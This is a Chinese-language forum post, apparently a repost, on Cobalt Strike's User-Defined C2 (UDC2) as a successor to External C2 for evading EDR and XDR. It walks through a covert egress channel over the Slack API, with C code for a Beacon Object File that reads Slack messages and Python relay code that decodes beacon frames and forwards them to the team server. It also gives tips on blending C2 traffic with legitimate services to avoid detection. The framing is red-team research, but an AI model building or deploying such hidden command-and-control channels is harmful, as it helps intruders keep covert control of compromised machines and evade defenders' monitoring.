找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2157

积分

0

好友

283

主题
发表于 1 小时前 | 查看: 2| 回复: 0

近年来,外部 C2(Command and Control)因其支持自定义出口通道,一直被视作绕过 EDR 和 XDR 等现代防御解决方案的有效方法之一。它允许红队操作员设计独特的通信机制,从而规避传统安全监控所依赖的静态特征。

然而,随着外部 C2 技术的应用与成熟,其固有的一些局限性也逐渐浮出水面:

  • Beacon 的睡眠行为(睡眠间隔和抖动)无法修改。
  • 第三方客户端必须向外部控制器请求 SMB Beacon,然后将其注入本地——本质上是在重新创建分阶段有效载荷的工作流程。
  • 需要两次注入:首先,第三方客户端注入 SMB 信标;然后,SMB 信标再将自身注入内存。这导致了较差的操作安全性。
  • SMB Beacon 有效载荷阶段以未加密的形式驻留在内存中,不受 Artifact Kit 或可修改的配置文件设置的影响。这可以说是外部 C2 最显著的弱点。
  • 第三方客户端的开发必须完全从零开始,需要投入大量的工程精力。
  • 由于依赖命名管道,它通常只支持一个外部 Beacon 会话,因此操作用途受到限制,难以扩展。
  • 虽然它在编程语言选择方面提供了很大的灵活性,但这种灵活性是以“所有东西都需要自己构建”为代价的。

用户自定义 C2:新型外部指挥控制

用户自定义 C2(User-Defined C2, UDC2)可以被看作是外部 C2 的升级版,旨在解决上述诸多不足。UDC2 的设计更为精简,红队仅需开发一个信标对象文件(Beacon Object File,BOF),而无需构建一个完整的独立客户端。

其新的工作流程可以概括为:Beacon 利用 UDC2 BOF,通过该 BOF 中实现的自定义 C2 通道来传输加密帧。这个 BOF 使用你定义的 C2 协议与 UDC2 服务器通信,随后 UDC2 服务器再通过直接的 TCP 链路将帧数据转发到你 Cobalt Strike 团队服务器上的 UDC2 监听器。

下图清晰地描绘了用户自定义 C2 与传统外部 C2 之间的架构差异:

UDC2与外部C2架构对比图

图 1:外部 C2 和 UDC2 架构示意图

如图所示,虽然从攻击者基础设施的角度看,两者(几乎)保持不变,但核心区别在于客户端本身。在使用外部 C2 时,整个客户端都需要独立开发。这意味着客户端需请求 SMB 信标,将其注入自身,并通过命名管道与其通信以转发信标任务,之后解析其输出,再通过出口通道将数据发回 Teamserver。

而使用 UDC2,开发者只需专注于 BOF 的开发。这个 BOF 将充当信标的代理,将流量重定向到自定义的通信通道。由于信标本身保持不变,我们依然可以充分利用 Artifact Kit、Sleep Mask、UDRL 以及 Cobalt Strike 提供的所有其他规避功能。

用户自定义 C2 的优势

采用 UDC2 方案,带来了以下几点显著优势:

  • 灵活的睡眠行为:操作员可以像修改原生 Beacon 一样,自由调整 Beacon 的睡眠间隔和抖动。
  • 支持多会话:可以通过多个外部信标进行并发通信,因为不再需要连接到 SMB 信标的命名管道。
  • 降低开发开销:开发重心从构建完整客户端转移到编写单个 BOF,使开发者能更专注于设计精巧的自定义出口通道。
  • 保留原生规避能力:如前所述,可以继续使用 Cobalt Strike 内置的所有规避工具链。

当然,UDC2 也引入了一个主要限制:开发被限定在 C 语言,因为 Beacon 对象文件必须用 C 编写。

额外的 BOF 也可能具备独特的规避特性,尤其是在利用与常用服务(例如 Slack、Microsoft 平台、AWS、Mattermost、Discord 等)相关的 API 或库时。当 BOF 产生的流量与目标环境中已有的合法工具通信模式相一致时,更容易实现“隐身”。然而,长时间或高容量的任务(例如转发大量流量)可能会产生异常峰值(例如,每分钟 Slack 消息数量异常高),这可能引起监控方案或 EDR 平台的警觉。增加 Beacon 休眠间隔有助于降低这种可见性,但这种方法可能不太适用于需要保持连接速度以避免超时的场景(如 proxychains 流量)。

对于从事渗透测试逆向工程的安全研究人员而言,深入理解此类通信机制的演变至关重要。

实战演示:构建 Slack 出口通道

由于 Fortra 开源了一个通过 ICMP 回显请求实现 UDC2 的演示项目,我们决定尝试这项新功能——这次我们选择 Slack 作为通信载体。

我们搭建了一个 Slack 工作区,并创建了一个具有发送和读取消息权限的机器人。设计上使用了两个独立的频道:一个用于客户端到服务器的通信,另一个用于服务器到客户端的响应。这种分离有效防止了潜在的通信冲突。

Slack 传输 BOF 的最初开发目标很直接:利用 WinInet API 对 Slack Web API 执行 HTTPS POST 和 GET 请求。在早期的“概念验证”阶段,逻辑很简单——数据使用标准库函数(如 sprintf)格式化,缓冲区被声明为栈上的固定大小数组。

void Slack_ReadLastMessage(const char* token, const char* channelId) { 
    HINTERNET hSession = InternetOpenA("SlackReader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 
    HINTERNET hConnect = InternetConnectA(hSession, "slack.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); 
    // Slack uses GET with query params for history 
    char path[512]; 
    snprintf(path, sizeof(path), "/api/conversations.history?channel=%s&limit=1", channelId); 
    HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", path, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0); 
    char headers[512]; 
    snprintf(headers, sizeof(headers), "Authorization: Bearer %s\r\n", token); 
    if (HttpSendRequestA(hRequest, headers, (DWORD)strlen(headers), NULL, 0)) { 
        char response[8192] = { 0 }; 
        DWORD read; 
        InternetReadFile(hRequest, response, sizeof(response) - 1, &read); 
        char lastMsg[1024] = { 0 }; 
        ExtractJsonValue(response, "text", lastMsg, sizeof(lastMsg)); 
        printf("[SLACK] Last Message: %s\n", lastMsg); 
    } 
    InternetCloseHandle(hRequest); 
    InternetCloseHandle(hConnect); 
    InternetCloseHandle(hSession); 
}

虽然这段代码在标准可执行环境中运行良好,但它与 Beacon 对象文件(BOF)的环境限制是根本性不兼容的。BOF 对栈内存的使用有严格约束。

为了解决这个问题,我们必须系统地对整个实现进行“去栈化”改造。每个大型缓冲区——原始 HTTP 响应、从 Slack API 提取的 JSON 值以及中间的 Base64 解码二进制数据——都被迁移到了进程堆上。官方示例已经实现了一个封装了 Kernel32$HeapAllocsafeHeapAlloc 包装器。

  • char resp[16384]; // 这会触发 __chkstk
  • 我们改为使用:void* respPtr = NULL; safeHeapAlloc(&respPtr, 16384); // BOF 兼容

数据发送逻辑也必须遵循同样的堆分配原则。

在服务器端,我们编写了以下 Python3 代码,用于通过 Slack API 读取和发送数据:

   def slack_listener(self) -> None:
        """Poll Slack messages from client channel and queue them for relay."""
        logging.info("Slack listener started")
        last_ts = None
        while not self.shutdown_event.is_set():
            try:
                response = self.slack_client.conversations_history(
                    channel=self.config.slack_client_channel,
                    oldest=last_ts,
                    limit=100
                )
                messages = response.get('messages', [])
                for msg in reversed(messages):
                    user_id = 1 # this is a basic PoC, supporting only 1 UDC2 beacon
                    text = msg.get('text', '')
                    ts = msg.get('ts')
                    if ts and (last_ts is None or float(ts) > float(last_ts)):
                        last_ts = ts
                    if text is not None or text !="":
                        print("[+] Received beacon data: " + text)
                        text = base64.b64decode(text)
                        self.beacon_manager.add_message(user_id, text)
                        self.relay_queue.put((user_id, text))
                        if self.metrics:
                            self.metrics.increment_messages_received()
            except SlackApiError as e:
                logging.error(f"Slack API error: {e.response['error']}")
            except Exception as e:
                logging.error(f"Slack listener error: {e}")

    def slack_send_message(self, user_id: str, payload: str):
        """Send message back to Slack channel."""
        try:
            self.slack_client.chat_postMessage(
                channel=self.config.slack_server_channel,
                text=payload)
            if self.metrics:
                self.metrics.increment_messages_sent()
        except SlackApiError as e:
            logging.error(f"Failed to send Slack message: {e.response['error']}")

最终成果是,一个默认的 Beacon 通过我们编写的 BOF,将加密数据经由 Slack API 发送,第三方中继服务器接收并转发至 Cobalt Strike 的团队服务器,实现了一套完整的、以 Slack 为出口通道的隐蔽通信。

Cobalt Strike与Slack通信实战界面截图

图 2:通过 Slack API 实现的 Beacon 通信界面

结论

总而言之,虽然外部 C2 为灵活且隐蔽的命令与控制定制铺平了道路,但其架构和操作上的缺陷最终限制了其实用性与扩展性。用户自定义 C2(UDC2)代表着一种更为成熟的演进方向。它利用 BOF 而非独立的第三方客户端,实现了更轻量级的集成、更高的操作安全性和更低的开发开销。

尽管 UDC2 也引入了一些新的限制,最显著的是对 C 语言的依赖,但它提供了一种更为精简且易于维护的自定义出口通道构建方法。对于现代红队而言,UDC2 无疑提供了一种更简洁、更安全、也更具可扩展性的高级威胁模拟替代方案。想了解更多前沿的攻防技术和实战分享,欢迎访问 云栈社区 进行深入交流。

本文中提到的所有代码和脚本,以及最终的演示项目,均可在相关的 GitHub 存储库中找到。

参考




上一篇:选拔经营性项目负责人?3大核心能力模型与转型路径详解
下一篇:高通Android GPU内核驱动曝0day漏洞(CVE-2026-21385),自2025年12月起或已被利用
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-15 10:40 , Processed in 0.563702 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表